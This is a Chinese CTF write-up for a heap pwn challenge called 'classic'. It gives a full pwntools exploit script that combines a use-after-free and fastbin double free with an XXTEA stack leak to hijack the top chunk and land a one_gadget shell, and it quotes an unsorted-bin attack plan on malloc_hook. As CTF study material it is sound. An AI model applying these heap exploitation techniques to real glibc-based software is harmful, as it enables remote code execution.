比赛的时候没有做出来,最后在队友的全程帮助下做出来了

题目在这

checksec

1
2
3
4
5
6
[*] '/home/dajun/binary/pwnhub/classic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

喜闻乐见的保护全开

流程

  1. add
  2. free
  3. xxtea encrypt

漏洞点

free了块之后没有把指针清零,xxtea加密函数会将一个栈地址也加密并把加密后的内容输出

但是没有edit函数,且最多只能申请十个块,除了xxtea加密的函数之外没有任何输出内容的函数

方法一

这是队友想到的方法

利用方法

攻击修改top chunk到栈上劫持返回地址执行one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
from ctypes import *
context(arch='amd64',os='linux',log_level='debug')

sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x, drop=True)
r = lambda :io.recv()
it = lambda: io.interactive()
success = lambda x, y:log.success(x + ' '+ hex(y))

binary = './classic'

io = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

xxtea = cdll.LoadLibrary("./xxtea.so")

def db():
gdb.attach(io)
raw_input()

def xxtea_decrypt(v, n, k):
xxtea.btea()


def add(size, c, d):
s('\x01')
s(c)
sl(str(size))
s(d)

def dele(idx):
s('\x02')
sl(str(idx))

ru('\n')
add(0x90, p64(0), 'a'*1) #0
add(0x40, p64(0), 'a'*1) #1
dele(0)
add(0x40, p64(0), 'a') #2
#此时,2块位于0块内,且2块的fd和bk都是libc的地址
dele(2)
dele(1)
dele(2)
#double free
add(0x70, p64(0), '\x00') #3
dele(3)
#这样是为了让fastbin中有一个0x56,好把块分配到libc
add(0x40, p64(0), '\x48')
#fd的最后一个字节覆盖成块2的地址+8的位置
add(0x40, p64(0), '\x00')
add(0x40, p64(0), p64(0x51)+'\x55')
#将2块的fd覆盖成0x51,将其bk的最后一个字节覆盖成\x55
#此时的fastbin结构
'''
pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x557165e90048 —▸ 0x7fd5dce84b55 (main_arena+53) ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x557165e90130 ◂— 0x0
'''
#而
'''
pwndbg> x/2gx 0x7fd5dce84b55
0x7fd5dce84b55 <main_arena+53>: 0x7165e90130000000 0x0000000000000055
'''
#这个地址离top chunk也很近
add(0x40, p64(0), '\x00')
#这时fastbin中的下一个0x50的块就是libc中的地址了
s('\x03')
s('a'*32)
data = rn(44)
int_arr4 = c_uint*4
key = int_arr4()
key[0] = c_uint(0x6854CC6D)
key[1] = c_uint(0x0A4BB7D0E)
key[2] = c_uint(0x660B8F8F)
key[3] = c_uint(0x714829A5)
int_arr44 = c_ubyte*44
d = int_arr44()
for i in range(44):
d[i] = c_ubyte(ord(data[i]))
xxtea.btea(d, -0xb, key)
secret = ''.join(list(chr(i) for i in d))
print secret
stack_address = u64(secret[0x20:0x28])
#解密xxtea加密的东西,就得到了一个stack_address
success('stack address', stack_address)
add(0x40, p64(0), 'aaa'+p64(0)*2+p64(stack_address - 0x138))
#覆盖topchunk到栈上,stack_address-0x138是add函数的返回地址上面0x10的地方
dele(0)
gdb.attach(io,'b *$rebase(0xdb2)')
raw_input()
add(0x60, p64(0), p64(0xffffffffff600000)*10)
#0xffffffffff600000是个滑板,可以让栈不停往下滑,直到libc_start_main,然后可以将它的低字节覆盖成one_gadget,此时esp+0x70是Null
#需要爆破一个半字节
it()

此法有个问题,就是不稳定。有时会无法劫持top chunk,具体原因我不去深究

但是除非你是欧皇,不然不可能用这个exp来getshell

方法二

利用方法

按照官方的wp,要unsorted bin attack,把malloc_hook覆盖成libc的地址,同时分配块到malloc_hook

引自官方wp

初看这题似乎可以用house of roman来做,但是该利用方式在unsort bin attack需要后一个edit操作来使得malloc_hook改成one_gadget,而这题除了malloc后紧跟着一个read操作外,并没有一个edit选项。
那如何来解决这一问题呢。
看libc源码可知,unsort bin在摘链时候,是要判断双链表中的chunk size的。如果size合适,直接将这个chunk从链表中摘除并作为malloc的返回值。利用这一特性,我们可以在一次malloc中同时做到将libc地址写入malloc_hook并且edit malloc_hook的值。
我们一步一步来分解这个操作。第一步将libc地址写入malloc_hook中,这并非难事,我们利用unsort bin attack即可,这里不多说。但是如何在发生unsort bin attack后立马可以修改malloc_hook的低几个字节呢(将其修改成one_gadget地址)。这就利用前面所说的unsort bin的摘链特性。
首先我们知道,malloc需要unsort bin时,会从双链表的bck开始挨个遍历。我们将第一个chunk的bk指向&malloc_hook - 0x10,这样一来malloc_hook就被写入libc地址。倘若此时在&malloc_hook - 8的位置写入一个合适的size,而malloc是该size的chunk,那就会将&malloc_hook作为malloc的返回值,所以我们可以edit malloc_hook了。
需要注意的是,malloc_hook + 8的位置是这个chunk的bck,要写入一个有效地址。因为此题没有直接的leak且开了pie,所以我们需要想办法得到一个可写地址。我在选项3里给了一个xxtea的加密,它的加密函数有个问题,可以多加密8个字节。而这8个字节是个stack地址,bingo,这样我们就得到一个可写地址了。
至于如何在malloc_hook - 8的位置写入一个size,这利用fastbin attack,不多解释了。
当然了,这一切要在10次malloc之内完成,所以需要小心构造。

但是,我却遇到了阻碍

就是我怎么也想不出来怎样只用十个块既劫持fd又修改unsorted bin的bk